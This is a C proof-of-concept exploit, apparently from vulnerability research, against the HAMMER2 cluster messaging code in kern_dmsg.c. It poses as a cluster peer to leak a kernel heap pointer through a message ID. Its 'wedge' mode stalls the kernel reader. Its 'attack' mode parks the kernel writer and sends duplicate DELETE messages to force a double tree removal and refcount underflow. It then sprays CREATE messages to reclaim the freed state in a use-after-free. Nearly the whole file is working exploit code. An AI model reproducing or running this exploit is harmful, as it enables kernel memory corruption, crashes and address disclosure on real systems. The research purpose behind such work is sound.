/*
 * DF-2707 PoC — kern_dmsg.c duplicate transmitted DELETE:
 *   kdmsg_state_cleanuptx() has no guard against a state whose tx side is
 *   already DELETE'd.  A cluster peer that sends a duplicate DELETE for a
 *   transaction msgid while the kernel's write thread is parked (blocked in
 *   fp_write on a full socket) causes the receive path to queue a SECOND
 *   terminating reply (kdmsg_msg_reply()'s unlocked `txcmd & DMSGF_DELETE`
 *   check, kern_dmsg.c:2057, races the write thread's cleanuptx which sets
 *   txcmd DELETE only after transmission).  When the writer drains:
 *
 *     reply#1 -> cleanuptx: RB_REMOVE(state) [legit] + "rbtree" refdrop
 *     reply#2 -> msgtx resets txcmd=&~DELETE (kern_dmsg.c:1571), cleanuptx
 *                KKASSERTs are INVARIANTS-only, so on production kernels it
 *                runs RB_REMOVE AGAIN on the already-removed node
 *                (stale-pointer writes into the live state tree) and drops
 *                a "state on rbtree" ref that no longer exists -> refcount
 *                underflow -> premature kdmsg_state_free() while further
 *                queued replies still reference the state -> UAF.
 *
 *   (On INVARIANTS kernels the same peer input panics earlier at the rx-side
 *   assert kern_dmsg.c:1076 — that is DF-0018; this trigger's chain is the
 *   production-kernel memory-corruption continuation.)
 *
 * DF-2708 evidence is captured on the way: the kernel's auto-LNK_CONN
 * carries head.msgid = (uint64_t)(uintptr_t)kdmsg_state (kern_dmsg.c:1804)
 * — a kernel heap pointer disclosed on the wire.
 *
 * modes:
 *   leak   — mount, capture the auto-LNK_CONN msgid, REMOTE_ADD ioctl for
 *            the dmesg "volconf update %p" cross-check, clean unmount.
 *   attack — park the kernel writer (small SO_SNDBUF + junk transactions),
 *            open a victim SPAN state, send N duplicate DELETEs, drain,
 *            spray CREATEs to reclaim the freed state slot, churn the RB
 *            tree, leave the mount for the script to unmount.
 *
 * build: cc -O -I/usr/src/sys -o df2707_trigger df2707_trigger.c
 * run:   (root) ./df2707_trigger leak|attack [rounds] [ndeletes]
 */
#include <sys/param.h>
#include <sys/mount.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/time.h>
#include <sys/poll.h>
#include <vfs/hammer2/hammer2_ioctl.h>
#include <vfs/hammer2/hammer2_mount.h>
#include <sys/dmsg.h>
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define MOUNTPT		"/mnt/h2poc"
#define VOLUME		"/dev/vn0@testvol"

#define VICTIM_MSGID(round)	(0x4141410000000000ULL + ((uint64_t)(round) << 16))
#define JUNK_MSGID(i)		(0xdead000000000000ULL + (uint64_t)(i))

static int sv[2];

static void
put_hdr(dmsg_hdr_t *h, uint32_t cmd, uint64_t msgid)
{
	memset(h, 0, sizeof(*h));
	h->magic = DMSG_HDR_MAGIC;
	h->cmd = cmd;
	h->msgid = msgid;
}

/* send one frame of hbytes (derived from the cmd SIZE field), body may be
 * pre-filled by the caller (e.g. a dmsg_lnk_span) */
static void
send_frame(const void *body, size_t bodysz)
{
	char buf[2048];
	const dmsg_hdr_t *h = body;
	size_t hbytes = ((h->cmd & DMSGF_SIZE) ?: 1) * DMSG_ALIGN;

	if (hbytes < sizeof(dmsg_hdr_t) || hbytes > sizeof(buf))
		errx(1, "bad frame hbytes %zu", hbytes);
	memcpy(buf, body, bodysz);
	memset(buf + bodysz, 0, hbytes - bodysz);
	if (write(sv[1], buf, hbytes) != (ssize_t)hbytes)
		err(1, "write frame");
}

/* span frame helper */
static void
send_span(uint32_t extra_cmd, uint64_t msgid, uint8_t peer_type,
    uint16_t proto, const char *label)
{
	dmsg_lnk_span_t span;

	memset(&span, 0, sizeof(span));
	put_hdr(&span.head, DMSG_LNK_SPAN | extra_cmd, msgid);
	span.peer_type = peer_type;
	span.proto_version = proto;
	if (label)
		strlcpy(span.pfs_label, label, sizeof(span.pfs_label));
	send_frame(&span, sizeof(span));
}

static int
read_exactly(int fd, void *buf, size_t n)
{
	char *p = buf;
	ssize_t r;

	while (n) {
		r = read(fd, p, n);
		if (r < 0) {
			if (errno == EINTR)
				continue;
			return (-1);
		}
		if (r == 0)
			return (-1);
		p += r;
		n -= r;
	}
	return (0);
}

/* read one complete wire frame; returns hbytes, fills *msgidp / *cmdp */
static size_t
read_frame(uint64_t *msgidp, uint32_t *cmdp)
{
	dmsg_hdr_t h;
	size_t hbytes, aux;
	char sink[2048];

	if (read_exactly(sv[1], &h, sizeof(h)) < 0)
		errx(1, "peer: kernel closed / short read\n");
	if (h.magic != DMSG_HDR_MAGIC)
		errx(1, "peer: bad magic %04x", h.magic);
	hbytes = (h.cmd & DMSGF_SIZE) * DMSG_ALIGN;
	if (hbytes < sizeof(h) || hbytes > sizeof(sink))
		errx(1, "peer: bad hbytes %zu", hbytes);
	if (hbytes > sizeof(h) &&
	    read_exactly(sv[1], sink, hbytes - sizeof(h)) < 0)
		errx(1, "peer: short header read\n");
	aux = h.aux_bytes;
	while (aux) {
		size_t chunk = aux > sizeof(sink) ? sizeof(sink) : aux;
		if (read_exactly(sv[1], sink, chunk) < 0)
			errx(1, "peer: short aux read\n");
		aux -= chunk;
	}
	*msgidp = h.msgid;
	*cmdp = h.cmd;
	return (hbytes);
}

static int
fionread(int fd)
{
	int n = 0;

	ioctl(fd, FIONREAD, &n);
	return (n);
}

int
main(int argc, char **argv)
{
	hammer2_ioc_remote_t remote;
	struct hammer2_mount_info info;
	dmsg_hdr_t frame;
	uint64_t msgid, conn_msgid;
	uint32_t cmd;
	long rounds = (argc > 2) ? strtol(argv[2], NULL, 0) : 3;
	long ndel = (argc > 3) ? strtol(argv[3], NULL, 0) : 24;
	long i, r, junk, sndbuf;
	int fd, leakmode, wedgemode;

	if (argc < 2) {
		fprintf(stderr, "usage: %s leak|wedge|attack "
		    "[rounds] [ndeletes]\n", argv[0]);
		return (2);
	}
	leakmode = (strcmp(argv[1], "leak") == 0);
	wedgemode = (strcmp(argv[1], "wedge") == 0);

	/* 1. become the cluster peer */
	if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0)
		err(1, "socketpair");

	sndbuf = 2048;
	if (!leakmode) {
		/* park the kernel write thread after a handful of 64-byte
		 * replies have filled our (kernel-side) send buffer */
		if (setsockopt(sv[0], SOL_SOCKET, SO_SNDBUF,
			       &sndbuf, sizeof(sndbuf)) < 0)
			warn("SO_SNDBUF");
	}
	sndbuf = 0;
	i = sizeof(sndbuf);
	getsockopt(sv[0], SOL_SOCKET, SO_SNDBUF, &sndbuf, (socklen_t *)&i);
	printf("PEER_SOCK sndbuf=%ld\n", sndbuf);
	fflush(stdout);

	memset(&info, 0, sizeof(info));
	info.volume = VOLUME;
	info.hflags = 0;
	info.cluster_fd = sv[0];

	if (mkdir(MOUNTPT, 0755) < 0 && errno != EEXIST)
		err(1, "mkdir " MOUNTPT);
	if (mount("hammer2", MOUNTPT, 0, &info) < 0)
		err(1, "mount(hammer2)");

	/* 2. capture the auto-LNK_CONN: head.msgid is the kmalloc'd
	 * kdmsg_state pointer (kern_dmsg.c:1804/1833) — DF-2708 */
	read_frame(&conn_msgid, &cmd);
	printf("AUTO_CONN cmd=%08x msgid=0x%016jx  <== kernel heap ptr "
	    "(DF-2708)\n", cmd, (uintmax_t)conn_msgid);
	fflush(stdout);

	/* answer the CONN so the kernel proceeds (VOLDATA dump etc) */
	put_hdr(&frame, DMSG_LNK_ERROR | DMSGF_REPLY | DMSGF_CREATE,
		conn_msgid);
	frame.error = 0;
	send_frame(&frame, sizeof(frame));

	if (leakmode) {
		/* REMOTE_ADD -> hammer2_volconf_update() prints
		 * "volconf update %p" (conn_state) to dmesg — same value as
		 * the wire msgid if the leak is the state pointer */
		fd = open(MOUNTPT "/rmt", O_RDWR | O_CREAT, 0644);
		if (fd < 0)
			err(1, "open rmt");
		memset(&remote, 0, sizeof(remote));
		remote.copyid = -1;
		strlcpy((char *)remote.copy1.path, "df2708-test",
		    sizeof(remote.copy1.path));
		if (ioctl(fd, HAMMER2IOC_REMOTE_ADD, &remote) < 0)
			warn("HAMMER2IOC_REMOTE_ADD");
		else
			printf("REMOTE_ADD_OK copyid=%d\n",
			    remote.copy1.copyid);
		close(fd);
		usleep(300 * 1000);
		while (fionread(sv[1]) > 0)
			read(sv[1], (char[2048]){0}, 2048);
		close(sv[1]);
		sleep(2);
		if (unmount(MOUNTPT, 0) < 0)
			warn("unmount");
		else
			printf("UNMOUNT_OK\n");
		printf("LEAK_MODE_DONE\n");
		return (0);
	}

	if (wedgemode) {
		/*
		 * Isolate the reader-stall from the duplicate-DELETE
		 * corruption: park the writer with junk transactions, then
		 * send a SINGLE DELETE for a state whose reply is stuck
		 * mid-fp_write (kdmsg_state_msgtx() set
		 * KDMSG_STATE_INTERLOCK; only the parked writer's
		 * cleanuptx can clear it).  The reader should spin in the
		 * 1-second "dmrace" lksleep loop at kern_dmsg.c:827 and
		 * stop consuming; resuming reads releases it.
		 */
		junk = (sndbuf / 64) * 4 + 32;
		for (i = 0; i < junk; i++)
			send_span(DMSGF_CREATE, JUNK_MSGID(i), 0, 0, "j");
		usleep(700 * 1000);	/* writer parks mid-reply */

		/* one DELETE each for a swath of junk states around the
		 * one stuck in transmission (no duplicates => no
		 * DF-2707 chain) */
		for (i = 24; i < 56 && i < junk; i++)
			send_span(DMSGF_DELETE, JUNK_MSGID(i), 0, 0, NULL);
		usleep(500 * 1000);

		/* probe 1: non-blocking PAD burst — if the reader is
		 * wedged the kernel-side rcvbuf fills */
		fcntl(sv[1], F_SETFL, O_NONBLOCK);
		long w1 = 0;
		for (i = 0; i < 1024; i++) {
			put_hdr(&frame, DMSG_LNK_PAD, 0);
			if (write(sv[1], &frame, sizeof(frame)) !=
			    (ssize_t)sizeof(frame))
				break;
			w1++;
		}
		printf("WEDGE_PROBE1_WRITTEN=%ld/1024 %s\n", w1,
		    w1 < 1024 ? "<== reader stalled (rcvbuf full)" :
		    "(reader kept up)");
		fflush(stdout);

		/* release the writer: drain, then re-probe */
		fcntl(sv[1], F_SETFL, 0);
		{
			char buf[16384];
			int idle = 0;
			while (idle < 8) {
				struct pollfd pfd;
				pfd.fd = sv[1];
				pfd.events = POLLIN;
				if (poll(&pfd, 1, 100) == 0) {
					idle++;
					continue;
				}
				idle = 0;
				if (read(sv[1], buf, sizeof(buf)) <= 0)
					break;
			}
		}
		sleep(2);
		fcntl(sv[1], F_SETFL, O_NONBLOCK);
		long w2 = 0;
		for (i = 0; i < 1024; i++) {
			put_hdr(&frame, DMSG_LNK_PAD, 0);
			if (write(sv[1], &frame, sizeof(frame)) !=
			    (ssize_t)sizeof(frame))
				break;
			w2++;
		}
		printf("WEDGE_PROBE2_WRITTEN=%ld/1024 %s\n", w2,
		    w2 >= 1024 ? "(reader recovered after drain)" :
		    "<== still stalled");
		fflush(stdout);

		fcntl(sv[1], F_SETFL, 0);
		sleep(1);
		while (fionread(sv[1]) > 0)
			read(sv[1], (char[2048]){0}, 2048);
		close(sv[1]);
		sleep(2);
		if (unmount(MOUNTPT, 0) < 0)
			warn("unmount");
		else
			printf("UNMOUNT_OK\n");
		printf("WEDGE_MODE_DONE\n");
		return (0);
	}

	/*
	 * attack: per round —
	 *   (a) junk transactions (SPAN|CREATE, wrong peer_type): the kernel
	 *       immediately queues a 64-byte terminating reply for each; the
	 *       writer parks in fp_write once SO_SNDBUF fills;
	 *   (b) victim transaction (SPAN|CREATE, right peer_type/proto): the
	 *       kernel answers with a non-terminating result; state stays
	 *       open in staterd_tree;
	 *   (c) N duplicate DELETEs for the victim msgid: each absorbed
	 *       duplicate (INVARIANTS off) re-runs the callback and queues
	 *       another terminating reply, because state->txcmd has not been
	 *       updated (writer parked);
	 *   (d) drain: the writer transmits all replies; cleanuptx #2 runs
	 *       the second RB_REMOVE + phantom "rbtree" refdrop -> premature
	 *       free while later replies still reference the state;
	 *   (e) spray CREATEs concurrently with the drain to reclaim the
	 *       freed state slot; churn the tree afterwards.
	 */
	junk = (sndbuf / 64) * 4 + 32;

	for (r = 0; r < rounds; r++) {
		printf("ROUND=%ld junk=%ld ndel=%ld\n", r, junk, ndel);
		fflush(stdout);

		for (i = 0; i < junk; i++)
			send_span(DMSGF_CREATE, JUNK_MSGID(r * 100000 + i),
			    0 /* not HAMMER2 -> instant terminating reply */, 0,
			    "j");
		usleep(700 * 1000);	/* let the writer park */

		/* victim: stays open (result, not reply) */
		send_span(DMSGF_CREATE, VICTIM_MSGID(r), DMSG_PEER_HAMMER2,
		    DMSG_SPAN_PROTO_1, "v");
		usleep(100 * 1000);

		printf("FIONREAD_BEFORE_DUPDEL=%d\n", fionread(sv[1]));
		fflush(stdout);

		for (i = 0; i < ndel; i++)
			send_span(DMSGF_DELETE, VICTIM_MSGID(r), 0, 0, NULL);
		usleep(300 * 1000);

		printf("FIONREAD_AFTER_DUPDEL=%d\n", fionread(sv[1]));
		fflush(stdout);

		/* drain + concurrent spray (reclaim freed state slots) */
		{
			struct pollfd pfd;
			char buf[16384];
			long sprayed = 0, nspray = 512;
			int idle = 0;

			pfd.fd = sv[1];
			while (idle < 6) {
				pfd.events = POLLIN |
				    (sprayed < nspray ? POLLOUT : 0);
				if (poll(&pfd, 1, 100) == 0) {
					idle++;
					continue;
				}
				if (pfd.revents & POLLIN) {
					idle = 0;
					if (read(sv[1], buf, sizeof(buf)) <= 0)
						break;
				} else if (pfd.revents & POLLOUT) {
					send_span(DMSGF_CREATE,
					    0xbeef000000000000ULL +
					    (uint64_t)r * 0x1000000ULL +
					    (uint64_t)sprayed,
					    DMSG_PEER_HAMMER2,
					    DMSG_SPAN_PROTO_1, "s");
					sprayed++;
				}
			}
			printf("DRAIN_DONE sprayed=%ld\n", sprayed);
			fflush(stdout);
		}
		usleep(300 * 1000);

		/* churn: create+properly-delete transactions walk the
		 * (corrupted) RB tree; drain concurrently so the (still
		 * present) dmrace reader-stall cannot block us */
		{
			char buf[16384];
			for (i = 0; i < 200; i++) {
				uint64_t m = 0xcafe000000000000ULL +
				    (uint64_t)r * 0x1000000ULL + (uint64_t)i;
				send_span(DMSGF_CREATE, m, DMSG_PEER_HAMMER2,
				    DMSG_SPAN_PROTO_1, "c");
				send_span(DMSGF_DELETE, m, 0, 0, NULL);
				if ((i & 7) == 0) {
					struct pollfd pfd;
					pfd.fd = sv[1];
					pfd.events = POLLIN;
					if (poll(&pfd, 1, 20) > 0 &&
					    (pfd.revents & POLLIN))
						read(sv[1], buf, sizeof(buf));
				}
			}
			usleep(500 * 1000);
			while (fionread(sv[1]) > 0)
				read(sv[1], buf, sizeof(buf));
		}
		usleep(300 * 1000);
		printf("ROUND_%ld_DONE alive\n", r);
		fflush(stdout);
	}

	printf("ATTACK_SEQUENCE_DONE — attempting to linger+unmount\n");
	fflush(stdout);
	sleep(2);
	while (fionread(sv[1]) > 0)
		read(sv[1], (char[2048]){0}, 2048);
	printf("TRIGGER_DONE (kernel not crashed yet — corruption may be "
	    "latent)\n");
	fflush(stdout);
	return (0);
}